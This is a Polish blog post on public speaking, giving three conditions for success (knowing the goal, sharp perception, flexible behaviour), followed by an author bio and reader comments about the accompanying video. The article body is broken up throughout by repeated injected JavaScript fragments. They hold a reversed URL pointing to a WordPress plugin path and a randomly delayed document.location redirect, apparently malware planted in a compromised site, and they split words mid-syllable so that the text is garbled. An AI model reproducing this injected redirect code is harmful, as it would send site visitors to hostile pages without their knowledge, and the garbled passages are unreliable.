Do odniesienia sukcesu w każdej dziedzinie życia, również w wystąpieniach publicznych potrzebne są Ci trzy rzeczy:
1. Znajomość celu. Musisz wiedzieć, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokąd zmierzasz, by tam toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotrzeć. W kontekście prezentacji – zastanów się jaki cel chcesz osiągnąć mówiąc toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ludzi: poinformować, przekonać, zabłysnąć?
2. Ostrość spostrzegania.
Gdy podejmiesz działanie, zwracaj uwagę, jakie rezultaty uzyskujesz. Czy Twoje prezentacje osiągają zamierzony przez Ciebie cel?
3. Elastyczność zachowania. Jeśli toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, co robisz nie przynosi oczekiwanych rezultatów, zacznij robić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to inaczej. Zastanów się, co możesz poprawić w swoich prezentacjach, zarówno pod kątem merytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torycznym jak i warsztatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towym. Zmieniaj zachowania/procedury, aż osiągniesz swój cel.
Pamiętaj: Jeśli będziesz robić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to co zwykle, będziesz uzyskiwać te same rezultaty. Jeśli chcesz uzyskać inne rezultaty, zacznij robić coś innego.
Jeśli chcesz zapoznać się z tym materiałem w formie filmu, zapraszam tutaj:
http://youtu.be/dm9CzToNCCA
Powodzenia!
 O autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT. |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
){kind=link}
Witaj,
film jest świetny, w sposób krótki, ale rzeczowy pokazuje trzy główne punkty:
cel,ostrość spojrzenia i bardzo ważną elastyczność.
Sądzę, że pozostałe filmy są w podobnej konwencji. Na pewno jeszcze dzisiaj do nich zajrzę,gratuluję.
Pozdrawiam i życzę miłej pracy!
Marzena
Marzeno, dziękuję za dobrą opinię!
pozdrawiam ze słonecznych Chojnic
ps. nie pracuj za dużo tuż przed weekendem 🙂
Dzięki,pozdrawiam także z bardzo słonecznej Warszawy.
Bardzo lubię Twojego bloga, dzięki niemu zaczynam rozumieć jak należy prowadzić profesjonalnie ciekawą, pozostającą w “pozytywnej pamięci” prezentację. Tym razem mam dwie uwagi: 1)spodziewałem się więcej konkretów, liczyłem na jakąś historyjkę, przecież to one się najlepiej sprzedają. 2)bardzo przeszkadzała mi muzyka(za głośna).Bądz sobą nie stosuj “modnych” jednakże niezbyt wygodnych(dla słuchacza) “nowinek”.
Ja się uczę i uważam że w trakcie nauki bardzo jest ważna koncentracja na tym co mówisz, a muzyka jeżeli już ma być to słyszalna daleko, daleko na 47-mym planie. Tak czy siak jak dla mnie jesteś super w te klocki. Serdecznie pozdrawiam. Piotrek Deja
Piotrze,
wydawało mi się, że poziom muzyki w tle jest ok ale być może dla części słuchaczy jest za głośno i działa rozpraszająco. Materiał potraktowałem, jako “lżejszy” więc dałem muzykę w podkładzie non stop. Czasami wrzucam podkład na początku i końcu po kilkadziesiąt sekund.
dziękuję za opinię, to dla mnie “materiał do przemyślenia” i ulepszenia tego co robię.
pozdrawiam serdecznie
A mnie nie przeszkadzał poziom “ogólności” i brak historii w tej prezentacji. Mówiłeś Robercie o uniwersalnej recepcie na sukces więc każdy może odnieść to do swojego życia.
Ja mam największe kłopoty ze zmianą zachowania bo wygodnie jest nic nie zmieniać, ale pracuje nad tym 🙂
pozdrawiam
Ania
Co do muzyki w nagraniu – jednym przeszkadza innym nie. Najważniejsze by podkład był neutralny i bez wokalu.
dla mnie OK
Ale jak zauważyć, że nasz przekaz trafia w ścianę? jakie są tego oznaki i jak wprowadzać zmiany?
Bartas,
jak nie będzie kontaktu z audytorium na pewno to poczujesz. Nie chodzi tylko o oznaki znudzenia ale o tę “kulawą” atmosferę w sali – zadajesz pytania i… nic, rzucasz anegdotę i… nic, dajesz z siebie wszystko i dalej nic. Jak w polskim filmie, nic się nie dzieje (cytat z “Rejsu”)
pozdrawiam
R.
Co do materiału – świetna “pigułka”. Niby człowiek wie to wszystko, ale jak mu ktoś przypomni, to wyciąga się tę wiedzę z archiwum z mózgu i kładzie na biurku do używania, zamiast kisić w kącie “na lepsze czasy”.
A co co muzyki – jak dla mnie OK, ale jako człowiek “inaczej słyszący” odbierałem poziom nagrania muzyki na prawie takim samym poziomie głośności jak tekst mówiony.
Bartas wspomniał o braku kontaktu z audytorium. To naprawdę da się wyczuć najpierw, dopiero potem widać: nieobecne spojrzenie prosto przed siebie lub gdzieś na ścianę, nieruchoma twarz, narastający gwar rozmów, no i brak reakcji na to co mówisz i robisz. W razie wątpliwości popatrz w oczy kilku losowo wybranym uczestnikom spotkania i sprawdź, czy nawiązujesz kontakt wzrokowy. Jeżeli nie – pora na jakieś nieoczekiwane zachowanie, które wyrwie audytorium z transu medytacyjnego i przywróci obustronną łączność.
Pozdrawiam
Jerzy
Jerzy,
zadbam o “słyszących inaczej” i będę ostrożny z muzyką 🙂 co do “ściany”, masz rację. Gdy poczujesz, że ludzie odpływają, czas na przykucie ich uwagi. wszystkie chwyty dozwolone! Masz swoje patenty na takie sytuacje?
Czytam ten blog już od jakiegoś czasu – świetna skarbnica wiedzy 🙂 A ten wpis- no, dodał bym jeszcze determinację w dążeniu do celu – ale to takie tam moje gdybanie 😉
pozdrawiam
Mariusz Brzostek
Mariusz, jak najbardziej!
gdybaj sobie!
pozdrawiam